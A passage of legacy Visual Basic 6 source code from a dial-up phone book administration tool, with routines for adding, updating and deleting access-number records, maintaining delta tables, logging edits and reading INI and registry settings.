Set GsysDial = dbPB.OpenRecordset("select * from Dialupport where accessnumberId = " & CStr(ID), dbOpenSnapshot)
If GsysDial.EOF And GsysDial.BOF Then
DeletePOP = ID
Exit Function
End If
strSQL = "DELETE FROM DialUpPort WHERE AccessNumberID = " & ID
dbPB.Execute strSQL
Set GsysDelta = dbPB.OpenRecordset("Select * from Delta order by DeltaNum", dbOpenDynaset)
If GsysDelta.RecordCount = 0 Then
deltnum = 1
Else
GsysDelta.MoveLast
deltnum = GsysDelta!deltanum
If deltnum > 6 Then
deltnum = deltnum - 1
End If
End If
For i = 1 To deltnum
deltasql = "Select * from delta where DeltaNum = " & i% & _
" AND AccessNumberId = '" & ID & "' " & _
" order by DeltaNum"
Set GsysDelta = dbPB.OpenRecordset(deltasql, dbOpenDynaset)
If Not (GsysDelta.BOF And GsysDelta.EOF) Then
GsysDelta.Edit
Else
GsysDelta.AddNew
GsysDelta!deltanum = i%
GsysDelta!AccessNumberId = ID
End If
GsysDelta!CountryNumber = 0
GsysDelta!AreaCode = 0
GsysDelta!AccessNumber = 0
GsysDelta!MinimumSpeed = 0
GsysDelta!MaximumSpeed = 0
GsysDelta!RegionID = 0
GsysDelta!CityName = "0"
GsysDelta!ScriptId = "0"
GsysDelta!Flags = 0
GsysDelta.Update
Next i%
Set deletecheck = dbPB.OpenRecordset("DialUpPort", dbOpenSnapshot)
If deletecheck.RecordCount = 0 Then
dbPB.Execute "DELETE from PhoneBookVersions"
dbPB.Execute "DELETE from delta"
End If
LogPOPDelete GsysDial
On Error GoTo 0
Exit Function
DeleteErr:
DeletePOP = ID
Exit Function
End Function
Function FilterPBKey(KeyAscii As Integer, objTextBox As TextBox) As Integer
Select Case KeyAscii
' space32 "34 %37 '39 *42 /47 :58 <60 =61 >62 ?63 \92 |124 !33 ,44 ;59 .46 &38 {123 }125 [91 ]93
Case 32, 34, 37, 39, 42, 47, 58, 60, 61, 62, 63, 92, 124, 33, 44, 59, 46, 38, 123, 125, 91, 93
KeyAscii = 0
Beep
End Select
If KeyAscii <> 8 Then
Dim TextLeng As Integer ' Current text length
Dim SelLeng As Integer ' Current selected text length
Dim KeyLeng As Integer ' inputted character length ANSI -> 2
' DBCS -> 4
TextLeng = LenB(StrConv(objTextBox.Text, vbFromUnicode))
SelLeng = LenB(StrConv(objTextBox.SelText, vbFromUnicode))
KeyLeng = Len(Hex(KeyAscii)) / 2
If (TextLeng - SelLeng + KeyLeng) > 8 Then
KeyAscii = 0
Beep
End If
End If
FilterPBKey = KeyAscii
End Function
Function FilterNumberKey(KeyAscii As Integer) As Integer
' numbers and backspace
If (KeyAscii < 48 Or KeyAscii > 57) And KeyAscii <> 8 Then
KeyAscii = 0
Beep
End If
FilterNumberKey = KeyAscii
End Function
Function GetDeltaCount(ByVal version As Integer) As Integer
If version > 5 Then
GetDeltaCount = 5
Else
GetDeltaCount = version - 1
End If
End Function
Function GetPBVersion(ByRef dbPB As Database) As Integer
Dim rsVer As Recordset
' open db
Set rsVer = dbPB.OpenRecordset("SELECT max(Version) as MaxVer FROM PhoneBookVersions")
If IsNull(rsVer!MaxVer) Then
GetPBVersion = 1
Else
GetPBVersion = rsVer!MaxVer
End If
rsVer.Close
End Function
Function GetSQLDeltaInsert(ByRef Record As Variant, ByVal deltanum As Integer) As String
Dim strSQL As String
Dim intX As Integer
On Error GoTo SQLInsertErr
strSQL = "INSERT into Delta " & _
" (DeltaNum, AccessNumberID, CountryNumber,RegionID,CityName,AreaCode, " & _
" AccessNumber, MinimumSpeed, MaximumSpeed, FlipFactor, Flags, ScriptID)" & _
" VALUES (" & deltanum & ","
For intX = 0 To 10
Select Case intX
Case 1, 2, 6 To 9
strSQL = strSQL & Record(intX) & ","
Case 10
strSQL = strSQL & Chr(34) & Record(intX) & Chr(34) & ")"
Case Else
strSQL = strSQL & Chr(34) & Record(intX) & Chr(34) & ","
End Select
Next
GetSQLDeltaInsert = strSQL
On Error GoTo 0
Exit Function
SQLInsertErr:
Exit Function
End Function
Function GetSQLDeltaUpdate(ByRef Record As Variant, ByVal deltanum As Integer) As String
Dim strSQL As String
On Error GoTo SQLUpdateErr
strSQL = "UPDATE Delta SET" & _
" CountryNumber=" & Record(1) & _
", RegionID=" & Record(2) & _
", CityName=" & Chr(34) & Record(3) & Chr(34) & _
", AreaCode='" & Record(4) & "'" & _
", AccessNumber='" & Record(5) & "'" & _
", MinimumSpeed=" & Record(6) & _
", MaximumSpeed=" & Record(7) & _
", FlipFactor=" & Record(8) & _
", Flags=" & Record(9) & _
", ScriptID='" & Record(10) & "'"
strSQL = strSQL & " WHERE AccessNumberID='" & Record(0) & "'" & _
" AND DeltaNum=" & deltanum
GetSQLDeltaUpdate = strSQL
On Error GoTo 0
Exit Function
SQLUpdateErr:
GetSQLDeltaUpdate = ""
Exit Function
' If cmbstatus.ItemData(cmbstatus.ListIndex) = 1 Then
' 'insert the delta table (production pop)
'
' For i = 1 To deltnum
' deltasql = "Select * from delta where DeltaNum = " & i% & " order by DeltaNum"
' Set GsysDelta = GsysPb.OpenRecordset(deltasql, dbOpenDynaset)
'
' addFound = 0 'initialize delta not found
' Do While GsysDelta.EOF = False
' If GsysDelta!AccessNumberId = Val(txtid.Text) Then
' addFound = 1
' Exit Do
' Else
' GsysDelta.MoveNext
' End If
' Loop
'
' If addFound = 0 Then
' GsysDelta.AddNew
' GsysDelta!deltanum = i%
' GsysDelta!AccessNumberId = txtid.Text
' Else
' GsysDelta.Edit
' End If
'' GsysDelta!CountryNumber = dbCmbCty.ItemData(dbCmbCty.ListIndex)
' GsysDelta!AreaCode = maskArea.Text
' GsysDelta!AccessNumber = maskAccNo.Text
' If Trim(cmbmin.Text) <> "" Or Val(cmbmin.Text) = 0 Then
' GsysDelta!MinimumSpeed = Val(cmbmin.Text)
' Else
'' GsysDelta!MinimumSpeed = Null
' End If
' If Trim(cmbmax.Text) <> "" Or Val(cmbmax.Text) = 0 Then
'' GsysDelta!MaximumSpeed = Val(cmbmax.Text)
' Else
' GsysDelta!MaximumSpeed = Null
' End If
'' GsysDelta!regionID = cmbRegion.ItemData(cmbRegion.ListIndex)
' GsysDelta!CityName = txtcity.Text
' GsysDelta!ScriptID = txtscript.Text
' GsysDelta!FlipFactor = 0
' GsysDelta!Flags = result
' GsysDelta.Update
' Next i%
' End If
End Function
Function GetSQLPOPInsert(ByRef Record As Variant) As String
Dim strSQL As String
Dim intX As Integer
Dim bAddFields As Boolean
If UBound(Record) < 14 Then
bAddFields = True
Else
bAddFields = False
End If
strSQL = "INSERT into DialUpPort " & _
" (AccessNumberID, CountryNumber,RegionID,CityName,AreaCode, " & _
" AccessNumber, MinimumSpeed, MaximumSpeed, FlipFactor, Flags, " & _
" ScriptID, Status, StatusDate, ServiceType, Comments)" & _
" VALUES ("
For intX = 0 To 14
Select Case intX
Case 0 To 2, 6 To 9
strSQL = strSQL & Record(intX) & ","
Case 11
If bAddFields Then
strSQL = strSQL & "'1',"
Else
'strSQL = strSQL & "'" & Record(intX) & "',"
strSQL = strSQL & Chr(34) & Record(intX) & Chr(34) & ","
End If
Case 12
strSQL = strSQL & "'" & Date & "',"
Case 13
strSQL = strSQL & "' ',"
Case 14
If bAddFields Then
strSQL = strSQL & "'')"
Else
strSQL = strSQL & "'" & Record(12) & "')"
End If
Case Else
strSQL = strSQL & Chr(34) & Record(intX) & Chr(34) & ","
End Select
Next
GetSQLPOPInsert = strSQL
End Function
Function GetSQLPOPUpdate(ByRef Record As Variant) As String
Dim strSQL As String
Dim bAddFields As Boolean
On Error GoTo SQLUpdateErr
If UBound(Record) < 14 Then
bAddFields = True
Else
bAddFields = False
End If
strSQL = "UPDATE DISTINCTROW DialUpPort SET" & _
" CountryNumber=" & Record(1) & _
", RegionID=" & Record(2) & _
", CityName=" & Chr(34) & Record(3) & Chr(34) & _
", AreaCode='" & Record(4) & "'" & _
", AccessNumber='" & Record(5) & "'" & _
", MinimumSpeed=" & Record(6) & _
", MaximumSpeed=" & Record(7) & _
", FlipFactor=" & Record(8) & _
", Flags=" & Record(9) & _
", ScriptID='" & Record(10) & "'"
If bAddFields Then
strSQL = strSQL & _
", Status='1'" & _
", StatusDate='" & Date & " '" & _
", ServiceType=' '" & _
", Comments=''"
Else
strSQL = strSQL & _
", Status='" & Record(11) & "'" & _
", StatusDate='" & Date & " '" & _
", ServiceType=' '" & _
", Comments=" & Chr(34) & Record(12) & Chr(34)
End If
strSQL = strSQL & " WHERE AccessNumberID=" & Record(0)
GetSQLPOPUpdate = strSQL
On Error GoTo 0
Exit Function
SQLUpdateErr:
GetSQLPOPUpdate = ""
Exit Function
End Function
Function ReplaceChars(ByVal InString As String, ByVal OldChar As String, ByVal NewChar As String) As String
Dim intX As Integer
intX = 1
Do While intX < Len(InString) And intX <> 0
intX = InStr(intX, InString, OldChar)
If intX < Len(InString) And intX <> 0 Then
InString = Left$(InString, intX - 1) & NewChar & _
Right$(InString, Len(InString) - intX)
End If
Loop
ReplaceChars = InString
End Function
Function GetDriveSpace(ByVal Drive As String, ByVal Required As Double) As Double
'input: <drive path>, <required space in bytes>
'returns: <space available in bytes>, if adequate space OR
' <-2> if not adequate space OR
' <-1> if there was a problem determining space available
Dim bRC As Boolean
Dim intRC As Long
Dim intSectors As Long
Dim intBytes As Long
Dim intFreeClusters As Long
Dim intClusters As Long
Dim strUNC As String
Dim netRes As NETRESOURCE
On Error GoTo GetSpaceErr
Drive = Trim(Drive)
If Left(Drive, 2) = "\\" Then 'unc
strUNC = Right(Drive, Len(Drive) - 2)
strUNC = "\\" & Left(strUNC, InStr(InStr(strUNC, "\") + 1, strUNC, "\") - 1)
If ItIsNT Then ' can use GetDiskFreeSpace directly
strUNC = strUNC & "\"
bRC = GetDiskFreeSpace(strUNC, intSectors, intBytes, intFreeClusters, intClusters)
Else
netRes.dwType = RESOURCETYPE_DISK
netRes.lpLocalName = "Q:"
netRes.lpRemoteName = strUNC
netRes.lpProvider = ""
If WNetAddConnection2(netRes, vbNullString, vbNullString, 0) = 0 Then
bRC = GetDiskFreeSpace(netRes.lpLocalName & "\", intSectors, intBytes, intFreeClusters, intClusters)
intRC = WNetCancelConnection2(netRes.lpLocalName, 0, True)
End If
End If
Else
bRC = GetDiskFreeSpace(Left(Drive, 3), intSectors, intBytes, intFreeClusters, intClusters)
End If
If bRC Then
GetDriveSpace = intBytes * intSectors * intFreeClusters
If Required > GetDriveSpace And Not GetDriveSpace < 0 Then
MsgBox LoadResString(6052) & Drive, vbExclamation
GetDriveSpace = -2
End If
Else
GetDriveSpace = -1 'problem determining drive space
End If
On Error GoTo 0
Exit Function
GetSpaceErr:
GetDriveSpace = -1
Exit Function
End Function
' comm
Function GetFileStat() As Integer
' this caused a crash!
' need something better.
If CheckPath(locPath & gsCurrentPB & ".mdb") <> 0 Then
'problem
GetFileStat = 1
Else
GetFileStat = 0
End If
End Function
Function GetMyShortPath(ByVal LongPath As String) As String
Dim strBuffer As String
Dim intRC As Integer
On Error GoTo PathErr
strBuffer = Space(500)
intRC = GetShortPathName(LongPath, strBuffer, 500)
If Trim(strBuffer) <> "" Then
GetMyShortPath = Left$(strBuffer, InStr(strBuffer, Chr$(0)) - 1)
Else
GetMyShortPath = ""
End If
On Error GoTo 0
Exit Function
PathErr:
GetMyShortPath = ""
Exit Function
End Function
Function ItIsNT() As Boolean
Dim v As OSVERSIONINFO
v.dwOSVersionInfoSize = Len(v)
GetVersionEx v
ItIsNT = False
If v.dwPlatformId = VER_PLATFORM_WIN32_NT Then ItIsNT = True
End Function
Function LogEdit(ByVal Record As String) As Integer
Dim intFile As Integer
Dim strFile As String
On Error GoTo LogErr
intFile = FreeFile
strFile = locPath & gsCurrentPB & "\" & gsCurrentPB & ".log"
If CheckPath(strFile) <> 0 Then
Open strFile For Output As #intFile
Print #intFile, LoadResString(5236); ", "; LoadResString(5237) & _
", "; LoadResString(5238); ", "; LoadResString(5239)
Close intFile
End If
Open strFile For Append As #intFile
Print #intFile, Now & ", " & Record
Close #intFile
On Error GoTo 0
Exit Function
LogErr:
Exit Function
End Function
Function LogError(ByVal Record As String) As Integer
Dim intFile As Integer
Dim strFile As String
On Error GoTo LogErr
intFile = FreeFile
strFile = locPath & "error.log"
If CheckPath(strFile) <> 0 Then
Open strFile For Output As #intFile
Print #intFile, LoadResString(5236); ", "; LoadResString(5237) & _
", "; LoadResString(5238); ", "; LoadResString(5239)
Close intFile
End If
Open strFile For Append As #intFile
Print #intFile, Now & ", " & Record
Close #intFile
On Error GoTo 0
Exit Function
LogErr:
Exit Function
End Function
Function LogPOPAdd(ByRef RS As Recordset) As Integer
Dim strAction As String
Dim strRecord, strKey As String
Dim intX As Integer
strAction = LoadResString(5233)
strRecord = LogPOPRecord(RS)
strKey = RS!CityName
LogEdit strAction & ", " & strKey & ", " & strRecord
End Function
Function LogPOPEdit(ByRef Key As String, ByRef RS As Recordset) As Integer
Dim strAction As String
Dim strRecord
Dim intX As Integer
strAction = LoadResString(5234)
strRecord = LogPOPRecord(RS)
LogEdit strAction & ", " & Key & ", " & strRecord
End Function
Function LogPOPDelete(ByRef RS As Recordset) As Integer
Dim strAction As String
Dim strRecord, strKey As String
Dim intX As Integer
strAction = LoadResString(5235)
strRecord = LogPOPRecord(RS)
strKey = RS!CityName
LogEdit strAction & ", " & strKey & ", " & strRecord
End Function
Function LogPOPRecord(ByRef RS As Recordset) As String
Dim strRecord As String
Dim intX As Integer
strRecord = RS(0)
For intX = 1 To RS.Fields.Count - 2
strRecord = strRecord & ";" & RS(intX)
Next
LogPOPRecord = strRecord
End Function
Function LogPublish(ByVal Key As String) As Integer
Dim strAction As String
strAction = LoadResString(6058)
LogEdit strAction & ", " & Key & ", " & gsCurrentPB
End Function
Function LogRegionAdd(ByVal Key As String, ByVal Record As String) As Integer
Dim strAction As String
strAction = LoadResString(5230)
LogEdit strAction & ", " & Key & ", " & Record
End Function
Function LogRegionEdit(ByVal Key As String, ByVal Record As String) As Integer
Dim strAction As String
strAction = LoadResString(5231)
LogEdit strAction & ", " & Key & ", " & Record
End Function
Function LogRegionDelete(ByVal Key As String, ByVal Record As String) As Integer
Dim strAction As String
strAction = LoadResString(5232)
LogEdit strAction & ", " & Key & ", " & Record
End Function
Function MakeFullINF(ByVal strNewPB As String) As Integer
Dim strINFfile As String
Dim strTemp As String
If CheckPath(locPath & strNewPB) <> 0 Then
MkDir locPath & strNewPB
End If
Exit Function
' we're not doing this anymore - no INFs
strINFfile = locPath & strNewPB & "\" & strNewPB & ".inf"
If CheckPath(strINFfile) <> 0 Then
FileCopy locPath & "fullcab.inf", strINFfile
strTemp = Chr(34) & strNewPB & Chr(34)
OSWritePrivateProfileString "Strings", "ShortSvcName", strTemp, strINFfile
strTemp = strNewPB & ".pbk" & Chr(13) & Chr(10) & strNewPB & ".pbr"
OSWritePrivateProfileSection "Install.CopyFiles", strTemp, strINFfile
OSWritePrivateProfileString vbNullString, vbNullString, vbNullString, strINFfile
End If
End Function
Function MakeLogFile(ByVal PBName As String) As Integer
Dim intFile As Integer
Dim strFile As String
On Error GoTo MakeFileErr
If CheckPath(locPath & PBName) <> 0 Then
MkDir locPath & PBName
End If
intFile = FreeFile
strFile = locPath & PBName & "\" & PBName & ".log"
If CheckPath(strFile) = 0 Then
Kill strFile
End If
Open strFile For Output As #intFile
Print #intFile, LoadResString(5236); ", "; LoadResString(5237) & _
", "; LoadResString(5238); ", "; LoadResString(5239)
Close intFile
On Error GoTo 0
Exit Function
MakeFileErr:
Exit Function
End Function
Public Function masterOutfile(file As String, ds As Recordset)
Dim strTemp As String
Dim intFile As Integer
intFile = FreeFile
Open file For Output As #intFile
While Not ds.EOF
Print #intFile, Trim(ds!AccessNumberId); ",";
Print #intFile, Trim(ds!CountryNumber); ",";
If IsNull(ds!RegionID) Then
Print #intFile, ""; ",";
Else
Print #intFile, Trim(ds!RegionID); ",";
End If
Print #intFile, ds!CityName; ",";
Print #intFile, Trim(ds!AreaCode); ",";
Print #intFile, Trim(ds!AccessNumber); ",";
Print #intFile, Trim(ds!MinimumSpeed); ",";
Print #intFile, Trim(ds!MaximumSpeed); ",";
Print #intFile, Trim(ds!FlipFactor); ",";
Print #intFile, Trim(ds!Flags); ",";
If IsNull(ds!ScriptId) Then
Print #intFile, ""
Else
Print #intFile, ds!ScriptId
End If
ds.MoveNext
Wend
Close #intFile
End Function
Public Function deltaoutfile(file As String, ds As Recordset)
Dim strTemp As String
Dim intFile As Integer
intFile = FreeFile
Open file For Output As #intFile
While Not ds.EOF
If ds!CityName = "" Or IsNull(ds!CityName) Then
Print #intFile, ds!AccessNumberId; ",";
Print #intFile, "0"; ",";
Print #intFile, "0"; ",";
Print #intFile, "0"; ",";
Print #intFile, "0"; ",";
Print #intFile, "0"; ",";
Print #intFile, "0"; ",";
Print #intFile, "0"; ",";
Print #intFile, "0"; ",";
Print #intFile, "0"; ",";
Print #intFile, "0"
Else
Print #intFile, Trim(ds!AccessNumberId); ",";
Print #intFile, Trim(ds!CountryNumber); ",";
If IsNull(ds!RegionID) Then
Print #intFile, ""; "0,";
Else
Print #intFile, Trim(ds!RegionID); ",";
End If
Print #intFile, ds!CityName; ",";
Print #intFile, Trim(ds!AreaCode); ",";
Print #intFile, Trim(ds!AccessNumber); ",";
strTemp = Trim(ds!MinimumSpeed)
If Val(strTemp) = 0 Then strTemp = ""
Print #intFile, strTemp; ",";
strTemp = Trim(ds!MaximumSpeed)
If Val(strTemp) = 0 Then strTemp = ""
Print #intFile, strTemp; ",";
Print #intFile, "0"; ",";
Print #intFile, Trim(ds!Flags); ",";
If IsNull(ds!ScriptId) Then
Print #intFile, ""
Else
Print #intFile, ds!ScriptId
End If
End If
ds.MoveNext
Wend
Close #intFile
End Function
Public Function GetINISetting(ByVal section As String, ByVal Key As String) As Variant
Dim intFile, intX As Integer
Dim strLine, strINIFile As String
Dim varTemp(0 To 99, 0 To 1) As Variant
On Error GoTo ReadErr
GetINISetting = Null
intFile = FreeFile
strINIFile = locPath & gsRegAppTitle & ".ini"
Open strINIFile For Input Access Read As #intFile
Do While Not EOF(intFile)
Line Input #intFile, strLine
strLine = Trim(strLine)
If strLine = "[" & section & "]" Then
If Key = "" Then
'return all keys
intX = 0
Do While Not EOF(intFile)
Line Input #intFile, strLine
strLine = Trim(strLine)
If Left(strLine, 1) <> "[" Then
If strLine <> "" And InStr(strLine, "=") <> 0 Then
varTemp(intX, 0) = Left(strLine, InStr(strLine, "=") - 1)
varTemp(intX, 1) = Right(strLine, Len(strLine) - InStr(strLine, "="))
intX = intX + 1
End If
Else
Exit Do
End If
Loop
Close #intFile
GetINISetting = varTemp
Exit Function
Else
'return single key
Do While Not EOF(intFile)
Line Input #intFile, strLine
strLine = Trim(strLine)
If strLine <> "" Then
If Key = Left(strLine, InStr(strLine, "=") - 1) Then
GetINISetting = Right(strLine, Len(strLine) - InStr(strLine, "="))
Close #intFile
Exit Function
ElseIf strLine <> "" And Left(strLine, 1) = "[" Then
Close #intFile
Exit Function
End If
End If
Loop
End If
Exit Do
End If
Loop
Close #intFile
Exit Function
ReadErr:
Close #intFile
Exit Function
End Function
Public Function isBitSet(n As Long, i As Integer) As Integer
Dim p As Long
If i = 31 Then
isBitSet = (n < 0) * -1
Else
p = 2 ^ i
isBitSet = (n And p) / p
End If
End Function
Public Sub CenterForm(C As Object, p As Object)
C.Move (p.Width - C.Width) / 2, (p.Height - C.Height) / 2
End Sub
Public Function ReIndexRegions(pb As Database) As Boolean
Dim rsTemp As Recordset, rsTempPop As Recordset, rsTempDelta As Recordset
Dim index As Integer, curindex As Integer, i As Integer, deltnum As Integer
Dim strSQL As String, deltasql As String, popsql As String
On Error GoTo ReIndexError
Set rsTemp = pb.OpenRecordset("Region", dbOpenDynaset)
If Not rsTemp.EOF And Not rsTemp.BOF Then
rsTemp.MoveFirst
index = 1
Do Until rsTemp.EOF
curindex = rsTemp!RegionID
If curindex <> index Then
rsTemp.Edit
rsTemp!RegionID = index
rsTemp.Update
popsql = "Select * from DialUpPort where RegionID = " & curindex
Set rsTempPop = pb.OpenRecordset(popsql, dbOpenDynaset)
If Not (rsTempPop.BOF And rsTempPop.EOF) Then
rsTempPop.MoveFirst
Do Until rsTempPop.EOF
rsTempPop.Edit
rsTempPop!RegionID = index
rsTempPop.Update
If rsTempPop!status = 1 Then
Set rsTempDelta = pb.OpenRecordset("Select * from Delta order by DeltaNum", dbOpenDynaset)
If rsTempDelta.RecordCount = 0 Then
deltnum = 1
Else
rsTempDelta.MoveLast
deltnum = rsTempDelta!deltanum
If deltnum > 6 Then
deltnum = deltnum - 1
End If
End If
For i = 1 To deltnum
deltasql = "Select * from delta where DeltaNum = " & i & _
" AND AccessNumberId = '" & rsTempPop!AccessNumberId & "' " & _
" order by DeltaNum"
Set rsTempDelta = pb.OpenRecordset(deltasql, dbOpenDynaset)
If Not (rsTempDelta.BOF And rsTempDelta.EOF) Then
rsTempDelta.Edit
Else
rsTempDelta.AddNew
rsTempDelta!deltanum = i
rsTempDelta!AccessNumberId = rsTempPop!AccessNumberId
End If
If rsTempPop!status = 1 Then
rsTempDelta!CountryNumber = rsTempPop!CountryNumber
rsTempDelta!AreaCode = rsTempPop!AreaCode
rsTempDelta!AccessNumber = rsTempPop!AccessNumber
rsTempDelta!MinimumSpeed = rsTempPop!MinimumSpeed
rsTempDelta!MaximumSpeed = rsTempPop!MaximumSpeed
rsTempDelta!RegionID = rsTempPop!RegionID
rsTempDelta!CityName = rsTempPop!CityName
rsTempDelta!ScriptId = rsTempPop!ScriptId
rsTempDelta!Flags = rsTempPop!Flags
rsTempDelta.Update
End If
Next i
End If
rsTempPop.MoveNext
Loop
End If
End If
index = index + 1
rsTemp.MoveNext
Loop
End If
ReIndexRegions = True
Exit Function
ReIndexError:
ReIndexRegions = False
End Function
Public Function RegGetValue(sKeyName As String, sValueName As String) As String
Dim lRetVal As Long 'result of the API functions
Dim hKey As Long 'handle of opened key
Dim vValue As Variant 'setting of queried value
lRetVal = RegOpenKeyEx(HKEY_LOCAL_MACHINE, sKeyName, 0, _
KEY_ALL_ACCESS, hKey)
lRetVal = QueryValueEx(hKey, sValueName, vValue)
'MsgBox vValue
RegCloseKey (hKey)
RegGetValue = vValue
End Function
Function QueryValueEx(ByVal lhKey As Long, ByVal szValueName As _
String, vValue As Variant) As Long
Dim cch As Long
Dim lrc As Long
Dim lType As Long
Dim lValue As Long
Dim sValue As String
On Error GoTo QueryValueExError
' Determine the size and type of data to be read
lrc = RegQueryValueExNULL(lhKey, szValueName, 0&, lType, 0&, cch)
If lrc <> ERROR_NONE Then Error 5
Select Case lType
' For strings
Case REG_SZ:
sValue = String(cch, 0)
lrc = RegQueryValueExString(lhKey, szValueName, 0&, lType, sValue, cch)
If lrc = ERROR_NONE Then
vValue = Left$(sValue, cch)
Else
vValue = Empty
End If
' For DWORDS
Case REG_DWORD:
lrc = RegQueryValueExLong(lhKey, szValueName, 0&, lType, lValue, cch)
If lrc = ERROR_NONE Then vValue = lValue
Case Else
'all other data types not supported
lrc = -1
End Select
QueryValueExExit:
QueryValueEx = lrc
Exit Function
QueryValueExError:
Resume QueryValueExExit
End Function
Function CheckPath(ByVal path As String) As Integer
'function returns 0 if path exists
Dim intRC As Integer
On Error GoTo PathErr
If Trim(path) = "" Or IsNull(path) Then
CheckPath = 1
Exit Function
End If
intRC = GetAttr(path)
CheckPath = 0
Exit Function
PathErr:
CheckPath = 1
Exit Function
End Function
Function SavePOP(ByRef Record As Variant, ByRef dbPB As Database) As Integer
' Handles inserting or updating a POP.
' If Record(0) = "" then generate new AccessNumberID and INSERT.
' Otherwise do like cmdImportRegions; just do an UPDATE and
' then an INSERT.
Dim strSQL As String
Dim rsPB As Recordset
Dim intX, intNewID As Integer
Dim bInService As Boolean
Dim NewPOP As Recordset
Dim deltasql As String
Dim deltnum As Integer, i As Integer, addFound As Integer
On Error GoTo SaveErr
If Record(0) = "" Then
Set rsPB = dbPB.OpenRecordset("SELECT max(AccessNumberID) as MaxID from DialUpPort", dbOpenSnapshot)
If IsNull(rsPB!maxID) Then
intNewID = 1
Else
intNewID = rsPB!maxID + 1
End If
rsPB.Close
Record(0) = intNewID 'try this: edit a referenced array
'INSERT
strSQL = GetSQLPOPInsert(Record)
dbPB.Execute strSQL
Else
Set GsysDial = dbPB.OpenRecordset("SELECT * from DialUpPort where AccessNumberID = " & CStr(Record(0)), dbOpenSnapshot)
If GsysDial.EOF And GsysDial.BOF Then
'INSERT
strSQL = GetSQLPOPInsert(Record)
dbPB.Execute strSQL ', dbFailOnError
Set GsysDial = dbPB.OpenRecordset("SELECT * from DialUpPort where AccessNumberID = " & CStr(Record(0)), dbOpenSnapshot)
LogPOPAdd GsysDial
Else
'UPDATE
strSQL = GetSQLPOPUpdate(Record)
dbPB.Execute strSQL ', dbFailOnError
'INSERT
strSQL = GetSQLPOPInsert(Record)
dbPB.Execute strSQL ', dbFailOnError
Set NewPOP = dbPB.OpenRecordset("SELECT * from DialUpPort where AccessNumberID = " & CStr(Record(0)), dbOpenSnapshot)
LogPOPEdit GsysDial!CityName, NewPOP
End If
End If
If UBound(Record) < 14 Then
bInService = True
ElseIf Record(11) = 1 Then
bInService = True
Else
bInService = False
End If
If bInService Then ' insert to Delta table if 'In Service'
Set GsysDelta = dbPB.OpenRecordset("Select * from Delta order by DeltaNum", dbOpenDynaset)
If GsysDelta.RecordCount = 0 Then
deltnum = 1
Else
GsysDelta.MoveLast
deltnum = GsysDelta!deltanum
If deltnum > 6 Then
deltnum = deltnum - 1
End If
End If
For i = 1 To deltnum
deltasql = "Select * from delta where DeltaNum = " & i% & " order by DeltaNum"
Set GsysDelta = dbPB.OpenRecordset(deltasql, dbOpenDynaset)
addFound = 0 'initialize delta not found
Do While GsysDelta.EOF = False
If GsysDelta!AccessNumberId = Record(0) Then
addFound = 1
Exit Do
Else
GsysDelta.MoveNext
End If
Loop
If addFound = 0 Then
GsysDelta.AddNew
GsysDelta!deltanum = i%
GsysDelta!AccessNumberId = Record(0)
Else
GsysDelta.Edit
End If
GsysDelta!CountryNumber = Record(1)
GsysDelta!AreaCode = Record(4)
GsysDelta!AccessNumber = Record(5)
GsysDelta!MinimumSpeed = Record(6)
GsysDelta!MaximumSpeed = Record(7)
GsysDelta!RegionID = Record(2)
GsysDelta!CityName = Record(3)
GsysDelta!ScriptId = Record(10)
GsysDelta!FlipFactor = Record(8)
GsysDelta!Flags = Record(9)
GsysDelta.Update
Next i%
End If
On Error GoTo 0
Exit Function
SaveErr:
SavePOP = CInt(Record(0))
Exit Function
End Function
Function SetFonts(ByRef frmToApply As Form) As Integer
Const SYMBOL_CHARSET As Integer = 2
Dim Ctl As Control
Dim fnt As tmpFont
GetFont fnt
If Not TypeOf frmToApply Is MDIForm Then
If frmToApply.Font.Charset <> SYMBOL_CHARSET Then
If frmToApply.Font.Size >= 8 And frmToApply.Font.Size <= 9 Then
frmToApply.Font.Name = fnt.Name
frmToApply.Font.Size = fnt.Size
frmToApply.Font.Charset = fnt.Charset
Else
frmToApply.Font.Name = fnt.Name
frmToApply.Font.Charset = fnt.Charset
End If
End If
End If
On Error Resume Next
For Each Ctl In frmToApply.Controls
If Ctl.Font.Charset <> SYMBOL_CHARSET Then
If Ctl.Font.Size >= 8 And Ctl.Font.Size <= 9 Then
Ctl.Font.Name = fnt.Name
Ctl.Font.Size = fnt.Size
Ctl.Font.Charset = fnt.Charset
Else
Ctl.Font.Name = fnt.Name
Ctl.Font.Charset = fnt.Charset
End If
End If
Next
On Error GoTo 0
End Function
Function GetLocalPath() As String
' returns short version of local path
' also sets global variable locpath
On Error GoTo PathErr
'locPath = GetMyShortPath(Trim(LCase(App.Path)))
locPath = Trim(LCase(App.path))
If Right(locPath, 1) <> "\" Then
locPath = locPath + "\"
End If
'''locPath = "c:\\Program Files\\pbantop\\"
GetLocalPath = locPath
On Error GoTo 0
Exit Function
PathErr:
GetLocalPath = ""
Exit Function
End Function
Function SplitLine(ByVal Line As String, ByVal Delimiter As String) As Variant
ReDim varArray(30)
Dim intX As Integer
On Error GoTo SplitErr
Line = Line & Delimiter
intX = 0
' split out fields - deconstruct Line
Do While (InStr(Line, Delimiter) <> 0 & intX < 30)
varArray(intX) = Trim(Left(Line, InStr(Line, Delimiter) - 1))
If InStr(Line, Delimiter) + 1 <= Len(Line) Then
Line = Right(Line, Len(Line) - InStr(Line, Delimiter))
Else
Exit Do
End If
intX = intX + 1
Loop
ReDim Preserve varArray(intX)
SplitLine = varArray()
On Error GoTo 0
Exit Function
SplitErr:
SplitLine = 1
Exit Function
End Function
Function QuietTestNewPBName(ByVal strNewPB As String) As Integer
Dim strTemp As String
Dim varRegKeys As Variant
Dim intX As Integer
Dim varTemp As Variant
On Error GoTo ErrTrap
strNewPB = Trim(strNewPB)
If strNewPB = "" Or strNewPB = "empty_pb" Or strNewPB = "pbserver" Then
QuietTestNewPBName = 6049
Exit Function
Else
varTemp = strNewPB
If IsNumeric(varTemp) Then
QuietTestNewPBName = 6095
Exit Function
End If
varRegKeys = GetINISetting("Phonebooks", strNewPB)
If Not IsNull(varRegKeys) Then
QuietTestNewPBName = 6050
Exit Function
End If
strTemp = locPath & strNewPB & ".mdb"
If CheckPath(strTemp) = 0 Then
QuietTestNewPBName = 6020
Exit Function
End If
'test write access
On Error GoTo FileErr
Open strTemp For Output As #1
Close #1
Kill strTemp
End If
QuietTestNewPBName = 0
Exit Function
ErrTrap:
Exit Function
FileErr:
QuietTestNewPBName = 6051
Exit Function
End Function
Function TestNewPBName(ByVal strNewPB As String) As Integer
Dim rt As Integer
Dim intX As Integer
rt = QuietTestNewPBName(strNewPB)
If rt <> 0 Then
If rt = 6020 Then
' File already exists
